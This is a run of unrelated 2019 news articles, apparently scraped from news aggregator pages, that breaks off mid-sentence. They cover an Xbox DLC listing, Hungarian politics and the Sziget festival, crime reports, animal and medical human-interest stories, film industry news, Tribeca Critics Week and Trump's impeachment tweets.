Exiles does a similar thing with a new Deluxe Edition now available. There's no shortage of new DLC to check out too, with Assassin's Creed Odyssey's The Fate of Atlantis story arc getting underway. New pirate outfits for Dead or Alive 6, Shao Kahn for Mortal Kombat 11, Shazam! movie DLC for LEGO DC Super-Villains, and various odds and sods for Just Cause 4, DiRT Rally 2.0, Crossout, and Train Sim World are also out now, giving you plenty to be cracking on with this weekend. Check out this week's Xbox Store content below. Xbox Games Store Xbox One Game Add-Ons Xbox One Mortal Kombat 11 Kombat Pack - 23-Apr - $39.99/32.79 Mortal Kombat 11 Shao Kahn - 23-Apr - $5.99/4.79 Assassin's Creed Odyssey The Fate of Atlantis - 23-Apr - $19.99/15.99 DiRT Rally 2.0 Sweden Rally - 23-Apr - $3.99/3.19 Just Cause 4 The Dragon - 23-Apr - $2.49/1.99 LEGO DC Super-Villains Shazam! Movie Level Pack 1 & 2 - 23-Apr - $5.99/4.79 Rocksmith 2014 2000s Song Pack VI - 23-Apr - $7.99/6.39 Rocksmith 2014 Coldplay "Shiver" - 23-Apr - $2.99/2.39 Rocksmith 2014 Angels & Airwaves "The Adventure" - 23-Apr - $2.99/2.39 Rocksmith 2014 Andrew W.K. "Party Hard" - 23-Apr - $2.99/2.39 Paladins Legionnaire Pack - 24-Apr - $7.99/7.19 Crossout Horsemen of Apocalypse: Death - 24-Apr - $29.99/24.99 Crossout Horsemen of Apocalypse: Death (Deluxe Edition) - 24-Apr - $64.99/54.24 RIDE 3 Limited Models Pack - 24-Apr - $4.99/3.99 Dead or Alive 6 Pirates of the 7 Seas Vol. 1 Set - $19.99/15.99 ($1.99/1.59 per costume) Dynasty Warriors 9: Cao Pi "Additional Hypothetical Scenario" - 25-Apr - $5.99/4.79 Dynasty Warriors 9: Fa Zheng "Additional Hypothetical Scenario" - 25-Apr - $5.99/4.79 Dynasty Warriors 9: Zhong Hui "Additional Hypothetical Scenario" - 25-Apr - $5.99/4.79 Dynasty Warriors 9: Lu Su "Additional Hypothetical Scenario" - 18-Apr - $5.99/4.79 Train Sim World: DB BR 155 - 25-Apr - $14.99/11.99 Rock Band 4 Suicide Silence "Disengage" - 25-Apr - $1.99/1.59 Rock Band 4 Halestorm "Do Not Disturb" - 25-Apr - $1.99/1.59 Rock Band 4 Sonata Arctica "Flag in the Ground" - 25-Apr - $1.99/1.59 Monster Hunter: World Complete Gesture Pack - 26-Apr - $24.99/19.99 Monster Hunter: World Complete Handler Costume Pack - 26-Apr - $14.99/11.99 Monster Hunter: World Complete Sticker Pack - 26-Apr - $9.99/7.99 Xbox 360 Rocksmith 2014 2000s Song Pack VI - 23-Apr - $7.99/6.39 Rocksmith 2014 Coldplay "Shiver" - 23-Apr - $2.99/2.39 Rocksmith 2014 Angels & Airwaves "The Adventure" - 23-Apr - $2.99/2.39 Rocksmith 2014 Andrew W.K. "Party Hard" - 23-Apr - $2.99/2.39 Deals with Gold Xbox One Deals & Xbox 360 Deals Games with Gold Xbox One Xbox 360 The leftist opposition Democratic Coalition (DK) is backing a student demonstration to be held on Friday in protest against a new law making university application conditional on passing a language exam. Such a measure would close the doors to higher education for over half of the students completing high school next year, party leader Ferenc Gyurcsany said. It would tread roughshod over the hopes and chances of todays youth, he added. Some 450 to 500 language teachers are currently missing from public education, which makes poorer students and residents of small towns or villages more vulnerable to the laws consequences, he said. Additionally, the current public education system only teaches languages up to a lower level than that required at university and college admissions, he said. Gyurcsany stressed that he was not against learning languages, which he called a key asset, but calling for public schools to shoulder that task. Answering a question, Gyurcsany said DK continued to support Parbeszed co-leader Gergely Karacsonys bid for mayor of Budapest. MTI Photo: Szigetvary Zsolt The Belt and Road Initiative is in full harmony with Hungarian interests, Prime Minister Viktor Orban said in Beijing, at talks with Chinese Prime Minister Li Keqiang. Ahead of the talks, Orban said it was a great honour to be invited to the second forum of the Belt and Road Initiative scheduled for Friday and Saturday. Belt and Road is a serious safeguard of worldwide free trade and the freedom of world economy, he said. As Hungarians need an open world economy, Hungary is ready to cooperate further within the initiative, and will reject all outside ideological pressure to the contrary because the Hungarian government will always act according to national interests, Orban said. Chinese companies have greatly contributed to modernising the Hungarian economy. Chinese investments have now reached some 4.5 billion dollars in Hungary, Orban said, proposing that the inflow of capital investments be upheld in the future. Li Keqiang praised Sino-Hungarian cooperation, expressing hope that it would be extended further in sectors such as digitisation. Cooperation has yielded results and offers great opportunities for large companies as well as SMEs, he said. Free trade and economic development will strengthen world peace, too, he said. MTI Photo: Szecsodi Balazs The budget of this years Sziget Festival, to be held between August 7 and 13 in Budapest, will surpass 10 billion forints (EUR 31m), organisers said. The festival will feature headliners like Ed Sheeran, Macklemore, The National, Franz Ferdinand, Richard Ashcroft, Florence + The Machine, Johnny Marr, Twenty One Pilots and the Foo Fighters, they said. It also offers a rich selection of cultural programmes, they said, such as the Love Revolution campaign for environmental protection and human rights. The Sziget festival in 2018 attracted a record 565,000 visitors. The line up in the A38 tent includes Frank Turner, Razorlight, CHVRCHES, Xavier Rudd, James Blake, Richie Hawtin and Broken Social Scene whereas Petofi Radio-Telekom VOLT will offer on its stage for the first time foreign acts next to Hungarians, programme director Jozsef Kardos said. These include Gili Yalo, Shake Shake Go, Stella Donnelly and Inspector Cluzo. Sziget will continue its Love Revolution campaign addressing issues such as environment protection and human rights. Under the campaign performances and short speeches will be given for the first time on the Main Stage between acts to draw attention to social changes around the world and societys collective responsibility. Speakers to give addresses include renowned environmentalist and UN Peace Envoy Jane Goodall, and poet, activist Emi Mahmoud, an UNHCR Goodwill Ambassador and former refugee. Former US Vice President Al Gore, founder of The Climate Reality Project civil group, will deliver a video-message to Sziget-goers, Kardos said. He highlighted programmes addressing issues around migration and cultural diversity at the Civil Island, one of which will allow live discussions with 40 spots around the world including Iraq, the Gaza Strip and North Africa about tolerance and social integration in a studio set up in a container. Photo: szigetfestival.com You're invited to be one of the 50 people on 14 May who will spend an evening of '70 extraordinary literary minutes' with The Magic Lamp team and friends of the charity foundation, including Her Majesty's Ambassador to Hungary. From the organisers: Besides poems, we will also touch upon the connection between the two cultures, mutual understanding, journeys, big encounters and, most importantly, the role literary works play in all of the above. Foreign policy correspondent Al Ghaoui Hesna and literary scholar Anna Juhasz will discuss these topics and more. During the evening, select works from British and Hungarian literature will be recited by actress Gabriella Hamori and His Excellency, while flutist David Kanyo will take everyone on a musical journey. To round off the evening, amidst some delicious bites, drinks and friendly conversations, we will express our gratitude to His Excellency Iain Lindsay OBE and You for supporting the Magic Lamp Foundation. We also have a surprise in store... Register now to visit the residence of the British Ambassador and listen to His Excellency Iain Lindsay reciting poems as part of an English-Hungarian literary evening. Date and time: Tuesday 14 May 2019, 6 pm Participation fee: 20.000 HUF/p.p. Note: We can only accept your registration, if the full fee has been transferred by 7 May 2019 to the foundations bank account including "literary evening in the comment section: 10918001-00000015-99050010 Registration: Sign up by clicking here. Address: Residence of the British Ambassador, 1022 Budapest, Lorantffy Zsuzsanna utca 7. Dress code: Business casual Photos and video: Pictures on which you may be visible will be taken for the British Embassy and for the Magic Lamp Foundation during the course of the evening. By registering, you consent to the non-profit usage of these recordings. Event supporters: Danubius Hotels, Pepper House, Provident Penzugyi Zrt, XpatLoop.com, and the programmes participants. More: Magic Lamp Foundation DeKalb County School District police have identified a suspect who allegedly shot a BB or pellet gun into an Atlanta-area elementary school playground on Thursday afternoon, injuring 10 students. The shooting took place at Wynbrooke Elementary School in Stone Mountain, Georgia, where the children suffered non-life threatening injuries from what appears to be a BB or pellet gun, the DeKalb County School District says in a statement obtained by PEOPLE. The shots appear to have come from a position away from the school grounds, the statement continues. There was never a threat of anyone getting into the school building and the remaining students were not injured. Following the shooting, The students were transported to Childrens Healthcare of Atlanta at Egleston Hospital to be treated or picked up by their parents, says the statement. A Friday afternoon statement from the school district says police identified a suspect and retrieved the allegedly involved pellet gun. The suspects name has not been released. Wynbrooke Elementary School Wynbrooke Elementary School This is one brave 11-year-old! Caleb Edmonson told me he was in the cafeteria, eating lunch, when he started hearing reports of an active shooter. pic.twitter.com/gaWmpoe3e2 Michael Seiden (@SeidenWSBTV) April 25, 2019 In an interview with Channel 2 Action News, 11-year-old Caleb Edmonson recalled being in the school cafeteria, eating lunch, when he began hearing news of an active shooter. (The outlet reports the incident took place at about 1 p.m.) The teacher that was in there, he was asking the janitors to lock the doors and then he was trying to close the blinds, Caleb told the reporter. [Then] everybody started to get a little bit panicked, but people started to think it was a drill. A couple minutes later we saw an ambulance, police officers coming in, running down our hallways. Story continues One father, Kevin Johnson, spoke to the outlet and said his son, a first-grader, was one of the students shot but that he was grateful for emergency responders quick action. Im glad that the ER was able to pick him up and get him taken care of quickly, because it could have turned into something way worse. It could have been a real gun and these kind of problems have got to stop, Johnson told Channel 2 Action News. Wynbrooke Elementary School Channel 2 Action News confirmed that the injured students were released from the hospital just after 2 p.m., where they returned home with their parents. The health and safety of our students is, and always will be, the number one priority at The DeKalb County School District, the districts statement continues. DeKalb Police officers are assisting DCSD Police in the investigation. 4-Month-Old Baby Beaten to Death After Tennessee Man Allegedly Learns Hes Not Father Man Charged For Allegedly Beating 4-Month-Old Baby to Death A Tennessee man is in custody for allegedly beating a 4-month-old baby to death after he discovered he was not the father of the child. Jose Avila-Agurcia, 33, is charged with first-degree murder in perpetration of aggravated child abuse and first degree murder in perpetration of aggravated child neglect in the death of Alexander Lizondro-Chacon. It is just horrible, Memphis Police Department officer Louis Brownlee tells PEOPLE. And as a father your heart aches. It just turns your stomach. It is just sad and downright disgusting. According to the affidavit of complaint obtained by PEOPLE, Memphis officers went to a home on Court Avenue on April 12 after the babys mother reported that Alexander was unresponsive and was having difficulty breathing. The boy was transported to LeBonhuer Childrens Hospital in extremely critical condition and died there. Jose Agurcia-Avila | Shelby County Sheriff's Office Want to keep up with the latest crime coverage? Click here to get breaking crime news, ongoing trial coverage and details of intriguing unsolved cases in the True Crime Newsletter. An autopsy revealed the following day that Alexander died from blunt force trauma and his death was ruled a homicide. The medical examiner concluded that the boys injuries were a fractured skull, fractured rib and a serious case of pneumonia. On April 14, the boys mother and Avila-Agurcia told police that they had no idea how Alexander sustained his injuries. The boys mother said that Avila-Agurcia watched the boy when she went to work. However, police met with the boys mother again on April 23. She told police that Avila-Agurcia allegedly confessed to her that he struck the victim multiple times in the head because he was angry when he discovered the victim was not his child and he was made to believe that during the pregnancy he was the father, the affidavit states. Avila-Agurcia was arrested and is being held without bond at Shelby County Jail. According to the Memphis Commercial Appeal, he has a court appearance on Thursday. It is unclear if he has retained an attorney. Who's Your Mommy? Why A Screech Owl Helped a Wood Duck Hatch and Raise Her Duckling Wood ducks are known to lay their eggs in the nests of other birds an act known as brood parasitism Earlier this month, wildlife artist and photographer Laurie Wolf peeped some exciting activity in the bird box outside her Jupiter, Florida, home. According to National Geographic, Wolf saw a little ball of fluff bobbing around the box, which she assumed was a little owlet since a eastern screech owl moved into the box over a month ago. Shortly after spotting the hatchling, Wolf and her husband saw the resident adult female pop her head out of the box, and then a yellow-and-black duckling appeared beside the owl. The bird was a baby, but it certainly didnt belong to the bird of prey. Wolf figured the duckling belong to a wood duck that she saw three to four weeks earlier. RELATED: 10 Animal Moms Who Stepped Up As Surrogate Parents We had seen a female Wood Duck about 3 or 4 weeks ago, remove a duck egg from a box that had been raided by something, and fly off toward this box with it, Wolf wrote on Facebook along with a photo of the owl and duckling odd couple. We lost it in the trees and didnt want to disturb it. But we believe she put it in this box and the owl hatched it. According Christian Artuso, the Manitoba director of Bird Studies Canada, Wolfs guess likely isnt far from the truth. Artuso told National Geographic that wood ducks have been recorded practicing brood parasitism. For birds, this literally means putting your eggs in more than one baskets. Wood ducks are known to lay some of their eggs in nests other than their own, so other birds end up hatching the baby ducks. Laurie Wolf If you spread your eggs out, then your chances of passing on your genes are increased slightly, especially if you lose your own eggs to a predator. Artuso explained. Wood ducks will even lay eggs in the nests of birds of prey, like the owl Wolf spotted, though the tend to pick surrogate bird parents from closely related species. RELATED: After Losing Cat Best Friend, Zuca the Pit Bull Becomes Surrogate Mom to Over 100 Orphaned Kittens After Wolf spotted the owl and duckling together, she contacted a local wildlife sanctuary for advise. The sanctuary staff advised her to try to safely catch the duckling and bring it in, since the owl could attempt to attack the baby animal. But before Wolf had a chance to round up the baby bird, the duckling jumped from the bird box and made a beeline for the back fence and our neighbors pond where the woodies have been hanging out, Wolf wrote on Facebook. She believes the duckling heard its mothers call and went off to reunite with her. Artuso agrees that this is possible. Since baby wood ducks are known to be rather independent, Wolfs duckling couldve set off to find their mother, or another brood of wood ducks to join. A baby boy who underwent multiple surgeries and treatments in the first months of his life finally went home after being born with a rare condition that left him without a fully formed anus. Eight-month-old Jackson Kuhn has been in and out of hospitals ever since he and his twin brother, Jamison, were born in July. Just after the brothers arrived via C-section, parents Andrew Kuhn and Katie Faulkner immediately knew something was wrong, they told WECT. I saw that they were examining one of the babies, Andrew explained to the news station of the medical staffs reaction to Jackson. They took him away, and a bunch of doctors were surrounding [him]. Doctors informed the couple that Jackson was born with an imperforate anus, a birth defect that can cause an absence of an anal opening, a very small opening, or an abnormal connection between the rectum and urethra, according to the University of San Francisco Benioff Childrens Hospital. The condition leaves infants without a way to dispel waste themselves. The defect is rare, and only affects one of every 5,000 newborns and is slightly more common among boys than girls, the university explained. It has no known cause. According to WECT, Jackson received care at Johns Hopkins for five months, but after obstacles with their insurance provider, the family had to transfer to the Childrens Hospital of Philadelphia, located nearly 100 miles from their home in Windsor Township, Pennsylvania. In total, the tiny tot has had seven surgeries since he was born eight months ago. RELATED VIDEO: Baby Graduates from the NICU at UPMCs Childrens Hospital of Pittsburgh While insurance has helped with some of the expenses for Jacksons seven operations, the family said they have racked up thousands of dollars in medical bills. Were trying to catch up, Andrew said. You feel depressed and stressed out. Every day youre thinking whats going to happen next and what bill is going to come in the mail next. Story continues The family has set up a GoFundMe page to help raise funds, and they have since raised more than $11,000 of their $50,000 goal. RELATED: 6-Year-Old with Rare Condition Smiles for the First Time After Innovative Surgery: Its Amazing While he still uses a colostomy for his waste and a central line and tube for nutrients and formula, Jackson was recently cleared to leave the hospital to join his family at home, the WECT reported. Andrew and Katie couldnt be happier to finally have their baby boy home. Just seeing his smiling face every day home with us beats any bill, they said. Sony Pictures Classics has acquired the U.S. rights to Tim Roth and Clive Owens The Song of Names, directed Francois Girard.Oscar nominee Jeffrey Caine wrote the screenplay, based on the award-winning novel by music scholar Norman Lebrecht with an original score by Oscar winner Howard Shore (The Lord of the Rings).Robert Lantos, Lyse Lafontaine and Nick Hirschkorn are producing.Also Read: Clive Owen in Talks to Join Will Smith in Ang Lee's 'Gemini Man'The Song of Names is about friendship, betrayal and reconciliation. It shows that sometimes, only music has the power to highlight the truth and heal the people involved.The Song of Names is one of those emotionally rich stories that defies description. Filial love surviving the jaws of history by way of the spiritual magic of music, SPC said in a statement. Francois Girard is the perfect director here, expanding what he achieved with his classic The Red Violin. This movie promises to be one of producer Robert Lantos finest. It is a pleasure to be working with him again and our friends at HanWay and Ingenious. Audiences are sure to embrace this one at years end.Also Read: 'M. Butterfly' Broadway Review: Clive Owen Falls for Peking's Victor/VictoriaGirard added: I am thrilled to be working with Sony Classics. Our film couldnt be in better hands than Michael Barker and Tom Bernard.SPC is planning a 2019 release for the film. HanWay Films is handling worldwide sales, while Elevation Pictures distributes in Canada. The film is a Serependity Point Films, Lyla Films and Feel Films production in association with Ingenious Media and Proton Cinema.Read original story Clive Owen, Tim Roths The Song of Names Acquired by Sony Pictures Classics At TheWrap Sony Pictures Classics has acquired the U.S. rights to Tim Roth and Clive Owens The Song of Names, directed Francois Girard. Oscar nominee Jeffrey Caine wrote the screenplay, based on the award-winning novel by music scholar Norman Lebrecht with an original score by Oscar winner Howard Shore (The Lord of the Rings). Robert Lantos, Lyse Lafontaine and Nick Hirschkorn are producing. Also Read: Clive Owen in Talks to Join Will Smith in Ang Lee's 'Gemini Man' The Song of Names is about friendship, betrayal and reconciliation. It shows that sometimes, only music has the power to highlight the truth and heal the people involved. The Song of Names is one of those emotionally rich stories that defies description. Filial love surviving the jaws of history by way of the spiritual magic of music, SPC said in a statement. Francois Girard is the perfect director here, expanding what he achieved with his classic The Red Violin. This movie promises to be one of producer Robert Lantos finest. It is a pleasure to be working with him again and our friends at HanWay and Ingenious. Audiences are sure to embrace this one at years end. Also Read: 'M. Butterfly' Broadway Review: Clive Owen Falls for Peking's Victor/Victoria Girard added: I am thrilled to be working with Sony Classics. Our film couldnt be in better hands than Michael Barker and Tom Bernard. SPC is planning a 2019 release for the film. HanWay Films is handling worldwide sales, while Elevation Pictures distributes in Canada. The film is a Serependity Point Films, Lyla Films and Feel Films production in association with Ingenious Media and Proton Cinema. Read original story Clive Owen, Tim Roths The Song of Names Acquired by Sony Pictures Classics At TheWrap A Kentucky family is lucky to be alive after a large tree crashed into their cabin Sunday morning, forcing them to make their escape through a window, reports say. The Louisville family of six was at the cabin in Lake Cumberland State Resort Park when the large tree fell onto the structure, according to WKYT. The tree knocked the cabin over with the family inside, including at least three children. Its very lucky because the cabin once the tree had went in the cabin, it took it off its foundation and behind it was quite a drop, Russell County Emergency Manager H.M. Bottom told the station. The storm hit the area early that morning, and the family escaped the cabin through a window, according to WLKY. Kentucky State Parks officials shared a photo of the damaged cabin on Facebook, showing the cabins foundation destroyed and the fallen tree nearby. RELATED STORY: Florida Man Dies After Tree Falls on to His Home During Hurricane Michael Bottom told the Lexington Herald-Leader that a man outside helped to pull the family from the cabin. He added that three children were taken to a local hospital with non life-threatening injuries along with a woman who was experiencing chest pains. They are all expected to survive he said. Bottom told WKYT that the family was on vacation at the time of the incident. Because the cabin was perched on a ledge, structural engineers are working to determine the best way to demolish the home. Kansas City Chiefs wide receiver Tyreek Hill has been barred from team activities after disturbing audio surfaced Thursday purportedly showing him threatening his fiancee as the two discussed a recent incident that left their 3-year-old sons arm broken. In the secretly-recorded audio, obtained by KCTV, Hill denies he had anything to do with the boys injury as his fiancee questions him about the injury, wondering why the boy would repeatedly tell her that Daddy did it if he hadnt. A 3-year-old is not going to lie about what happened to his arm, Crystal Espinal tells Hill in the recording, adding, He is terrified of you. Hill responds, You need to be terrified of me, too, dumb b-. The audio was released a day after prosecutors in Kansas determined there was insufficient evidence to file charges against Hill after police were called twice to Hills home last month. The calls triggered an investigation into the boys injury. At a press conference Thursday, Johnson County District Attorney Stephen M. Howe said while he believed a crime was committed, the evidence didnt clearly establish who committed it. Later in the recording, both Hill and Espinal accuse each other of disciplining their child with a belt. PEOPLE could not independently verify the veracity of the recording, but KCTV insists Espinal recorded it while in Dubai with Hill. She reportedly gave the recording to a friend for safe keeping, the station reports. The Chiefs issued a statement saying that for the foreseeable future, Tyreek Hill will not take part in any team activities. We were deeply disturbed by what we heard, and deeply concerned, the statement said. Now obviously, we have great concern for Crystal, we are greatly concerned for Tyreek, but our main focus, main concern, is with the young child. Statement from the Kansas City Chiefs: pic.twitter.com/Kh7LyD6dg7 Kansas City Chiefs (@Chiefs) April 26, 2019 Want to keep up with the latest crime coverage? Click here to get breaking crime news, ongoing trial coverage and details of intriguing unsolved cases in the True Crime Newsletter. Story continues We are going to gather more information, were going to evaluate this information, and we will make the right decision regarding Tyreek Hill. A representative for Hill could not be reached for comment. The boy has been removed from his parents custody, PEOPLE learns. In the audio, Espinal appears to suggest she helped Hill avoid criminal charges. I really want you to really sit and think about it because I rode for you against that detective and the C.P.S. people, she said, referring to the Kansas Department for Children and Families, which also investigated the incident. She also accused Hill of disciplining the boy by punching him in the chest. In 2014, Hill was accused of domestic violence while he was at Oklahoma State University. The following year, he pleaded guilty to assaulting and choking Espinal, who was eight weeks pregnant at the time. As part of his plea deal, Hill was sentenced to three years probation. While the entire planet finds out if the Avengers can save the universe, the Tribeca Film Festival provides the latest example of some alternatives. Festivals serve many purposes for the industry but, as a whole, theyre a collective reminder that cinema extends far beyond the narrow confines of the multiplex. This puts them more in league with film critics than some may realize, as many of us relish the opportunity to advocate for underappreciated gems. (While I have you: Check out the 3D Chinese noir Long Days Journey Into Night, which has more daring technology and storytelling ambition than anything in Endgame.) Yet despite these common agendas, the arts of criticism and programming often exist in separate categories in America. This year, I served on a selection committee for a new sidebar at the Tribeca Film Festival designed to address this rift: Tribeca Critics Week is a concise program of five features picked by New York-based critics, and marks the first program of its kind in North America. To my mind, it exists as an argument for the value of critics as curators beyond the confines of criticism itself. Related stories 'Blow the Man Down' Review: A Witty Crime Caper With Coen Brothers Flair -- Tribeca 'Linda Ronstadt: The Sound of My Voice' Review: Grammy-Winning Trailblazer Gets Her Own Shallow Doc Of course, critics have put on their programmer hats on many occasions, and freelancers in particular tend to oscillate between both roles. But the concept of the Critics Week has flourished in Europe for decades, beginning with a sidebar in Cannes that launched in 1961 from the French Syndicate of Cinema Critics. Since then, Cannes Critics Week has evolved into a key aspect of the festivals DNA, where filmmakers at early stages of their careers from Ken Loach to Wong Kar-wai have often launched to great acclaim. Since then, both the Venice and Berlinale have launched Critics Week sidebars, where a selection committee unaffiliated with the larger festival programming offers a handful of options for discerning viewers. The Tribeca Critics Week isnt a repudiation of other programming selections throughout the festival lineup, as audiences who want to attend flashy red carpet premieres, celebrity conversations, and other marquee events certainly have much to explore. This kind of programming strategy has taken root in New York before, including the old model of the New York Film Festivals revolving selection committee, where various critics would serve two- or three-year terms before others would take their place. (In recent years, the NYFF committee has gone in-house, though several staffers have roots in criticism.) Story continues But Critics Week has a unique identity. Two years ago, I served on the Cannes jury, and it was one of the most gratifying festival experiences of my life. It provided me with the excuse to watch films exclusively because they had been programmed in the section, not because they starred famous people, touted an A-list filmmaker, or might sell for a lot of money. This type of section should offer that opportunity for all audiences. The Tribeca Critics Week sidebar provided an opportunity for a few critics myself, New York Magazines Bilge Ebiri, Vanity Fairs K. Austin Collins, and Buzzfeeds Alison Willmore to simply talk through our favorites from recent festivals and not worry about other factors. While festivals often chase world premieres, this programming process required the opposite approach: We were culling from the circuit to surface some of the highlights. The resulting five-movie survey provides a window into quality offerings from TIFF, Sundance, and Berlin that could use the extra attention. None of them have won major awards at those festivals, and three of them have yet to secure U.S. distribution. Still, some of the films in the selection are already on track to find audiences. Opening night entry American Factory, from Oscar-nominated documentarians Steve Bognar and Julia Reichert, scored distribution with Netflix out of its Sundance premiere, and closing selection In Fabric will come out this summer via A24. But these movies have no flashy CGI, celebrities, or superheroes. Their fates will be determined in large part by critical acclaim, and their selection at Tribeca has been designed as an extension of that. In American Factory, Bognar and Reichert follow up their acclaimed short The Last Truck: Closing of a GM Plant with an eye-opening look at a Chinese billionaire who filled that gap in rural Ohio with a glass factory. Chairman Cao Dewangs ambitious attempts to introduce his countrys trenchant work ethic to the American economy with Fuyao Glass America provides a remarkable window into modern workplace dysfunction. Assuming his intentions will illustrate the superiority of Chinas business acumen, he provides the filmmakers with extraordinary access to board meetings, training sessions, and day-to-day life as the factory attempts to merge American and Chinese workers into a new model of efficiency. Instead, the movie captures the fundamental incompatibility of those two markets, as U.S. workers fight to unionize while their Eastern peers view those efforts as pure laziness. A real-life tragicomedy about the evolution of working-class strife, American Factory is essential viewing for anyone intrigued by the looming shadow of China in the West. In Fabric provides a very different sort of window into capitalistic challenges, with the story of a haunted dress sold by a deranged saleswoman (Fatma Mohamed) that destroys numerous lives. The ensemble thriller is the latest disturbing head trip from British auteur Peter Strickland, whose The Duke of Burgundy and Berbarian Sound Studio were brilliant reimaginings of horror/thriller pastiche. Here, he achieves an eerie fusion of the Italian giallo with Lynchian disorientation, as the dress makes its way from a middle-aged single mother (Marianne Jean-Baptiste, who delivers a powerful and disturbing performance) to a washing machine repairman (Leo Bill), among others. Each person who comes into contact with the dress experiences its surreal allure at first in near-euphoric terms, before events take a nightmarish turn. Its the ultimate repudiation of consumerist society a dizzying vision of the darkness lurking behind superficial obsessions. On the lighter side, Stella Meghies The Weekend should receive all the attention it can get. Meghie has quietly become one of the more prolific Hollywood newcomers, having landed a series of studio deals after her breakout Jean of the Joneses at SXSW in 2016. Yet The Weekend, a scrappy and charming comedy about neurotic black twentysomethings set over the course of a single hectic weekend, has yet to secure a release. The movie premiered last fall in TIFFs Platform section, and also screened earlier this year at SXSW, yet it hasnt received the discovery it deserves. The L.A.-based story revolves around young comedian Zadie (Sasheer Zamata) who remains friendly with her ex (Tone Bell) as he makes progress with a new relationship. When the trio head to the countryside to visit Zadies mother, she meets a new romantic possibility in Aubrey (Ylan Noel), whos renting out a room in the same house. Awkward romantic entanglements ensue, with all the wit and zippy attitude of early Woody Allen. For anyone keen on finding an Allen alternative for woke 21st century viewers, well, here you go: An all-black cast loaded with talent, smart dialogue, and combustible energy enmeshed in a shrewd love triangle that goes wrong in all sorts of amusing ways. But above all else, The Weekend is a wondrous showcase for hilarious former Saturday Night Live star Zamata, who ought to become a household name. The other two films in the section are more serious looks at relationship challenges. Andrew Ahns tender Driveways takes the mold of a familiar dramedy and deepens it. After her sister dies, Kathy (Hong Chau) and her eight-year-old son Cody (Lucas Jaye) head to the late womans small suburban neighborhood to clean out her home. Once there, Cody bonds with the cranky next-door neighbor (Brian Dennehy), who gradually reveals his sensitive side. Its the sort of premise that has fueled countless formulaic lo-fo American indies, but Ahns shrewd control of the material adds a surprising degree of texture and insight into this unlikely trios experiences. Newcomer Jaye shows plenty of potential, but Chau gives what may be her best performance to date, and Dennehy delivers an emotionally sophisticated performance that keeps evolving as the movie moves along. Its understated finale is a masterstroke of concision that manages to avoid the easy sentimentalism that so often ruins this material. A similar quality elevates This is Not Berlin, the punk rock memoir of Mexican director Hari Sama. A confident and wily look back on Mexico City in the mid-80s, when the filmmaker himself was coming up, the sprawling drama revolves around a pair of rebel teens from a middle-class background who gain access to an underground nightclub, where theyre exposed to experimental art, sexual freedoms, and plenty of intoxicants to hold the whole package together. A kind of spiritual sequel to the 70s vision of the same city in Roma, Samas ambitious ensemble piece takes its time crafting a fully realized world. On some level, its a coming-of-age tale done many times before, but they rarely cut this deep, with cultural insight to spare from the specter of AIDS to the threat of drug addiction, This is Not Berlin unearths a minefield of challenges as a generation of Mexicans push for a more liberated existence. In an ideal world, these movies would become the most talked-about selections at any festival that screens them, but thats not a world we live in. Nevertheless, they belong on every committed viewers must-see list for at least two reasons: Collectively, they provide glimpses of different cultural experiences and values as only cinema can convey them; individually, they offer unique snapshots of major filmmaking talent. Plenty of critics have endorsed them. Now its the audiences turn to discover them. Tribeca Critics Week runs April 26 May 5. The full lineup is available here. Sign up for Indiewire's Newsletter. For the latest news, follow us on Facebook, Twitter, and Instagram. WASHINGTON, April 24 (Reuters) - President Donald Trump on Wednesday vowed to fight any effort by congressional Democrats to launch impeachment proceedings against him after the U.S. special counsel's Russia probe, promising to take any legal battle to the Supreme Court despite Congress' constitutional power to impeach. "If the partisan Dems ever tried to Impeach, I would first head to the U.S. Supreme Court," Trump wrote on Twitter. The Mueller Report, despite being written by Angry Democrats and Trump Haters, and with unlimited money behind it ($35,000,000), didnt lay a glove on me. I DID NOTHING WRONG. If the partisan Dems ever tried to Impeach, I would first head to the U.S. Supreme Court. Not only...... Donald J. Trump (@realDonaldTrump) April 24, 2019 The U.S. Constitution lays the 'sole power' of impeachment before the House of Representatives and the Senate. Democrats, who control the House, remain divided over the issue of impeachment even as a new front has opened in their investigations into the presidency, sparking a new legal war with the White House as Trump fiercely seeks to fight any new congressional oversight. Related: Local governments calling for Trumps impeachment U.S. House Speaker Nancy Pelosi and other Democratic leaders have remained cautious over impeaching Trump ahead of the 2020 presidential election while others in the party's more liberal wing have demanded such proceedings begin. Special Counsel Robert Mueller's findings, released in a redacted report last week, indicated Trump had obstructed justice and noted that Congress could address whether the president violated the law. Mueller separately concluded there was not enough evidence to establish any collusion between Moscow and Trump's 2016 presidential campaign. Trump has said the findings cleared him of any wrongdoing and has called for an investigation into the start of the probe. "We waited for Mueller and WON, so now the Dems look to Congress as last hope!" he tweeted on Wednesday. 8-year-old girl battling leukemia designs her own Lilly Pulitzer print to benefit children's cancer research originally appeared on goodmorningamerica.com An 8-year-old girl battling leukemia turned her love of art and design into a way to help other kids also fighting cancer. Mary Andersen, of Newtown Square, Pennsylvania, was diagnosed with acute lymphoblastic leukemia (ALL) nearly two years ago. She underwent five rounds of chemotherapy and is now in remission but continues to get maintenance chemotherapy through daily medication and a monthly IV, according to her mom, Liz Andersen. During her treatment at Children's Hospital of Philadelphia (CHOP), Mary was granted a wish through the Make-A-Wish Foundation. She decided that instead of choosing a once-in-a-lifetime trip, her wish was to design a print for Lilly Pulitzer, the fashion brand known for its whimsical, popular designs. PHOTO: Mary poses in her 'Magical Mary' print she created with her Make-A-Wish wish. (Courtesy Lilly Pulitzer) Mary, whose bedroom is decorated in Lilly Pulitzer bedding and wallpaper, told Make-A-Wish officials that she wanted to create items like headbands and water bottles featuring her print and have the proceeds go to CHOP to support children's cancer research. "I wanted to help support the kids at CHOP and to help cancer research so if kids get sick with cancer like me they wont have to go through it like I have," Mary told "Good Morning America." Last December, Mary's wish came true. "She was looking forward to it for months ahead of time," Andersen said of Mary's Wish Day. "During some really challenging times of her treatment it distracted her and was exactly what she needed." (MORE: Sweet video shows student's warm welcome back to school after heart transplant) Mary was picked up from her home and escorted to Lilly Pulitzer headquarters in King of Prussia, Pennsylvania, in the brand's famous Lilly Pulitzer jeep (a moment she described as one of her favorite parts of the day). She was greeted with pink doughnuts at the headquarters and got a behind-the-scenes tour before starting to design her print with the brand's designers. Story continues "She came to us with a very clear vision and our reaction was 'Of course, wed love to be part of this,'" said Michelle Kelly, CEO of Lilly Pulitzer. "She seems to have a great sense of what makes people happy, which is what the Lilly Pulitzer brand is striving to do every day." The "Magical Mary" print designed by Mary features unicorns because, Mary said, "I just kind of love unicorns." PHOTO: Mary works with a Lilly Pulitzer designer to create her 'Magical Mary' print. (Courtesy Lilly Pulitzer) It also has her three favorite colors -- pink, purple and blue -- and features daisies, a 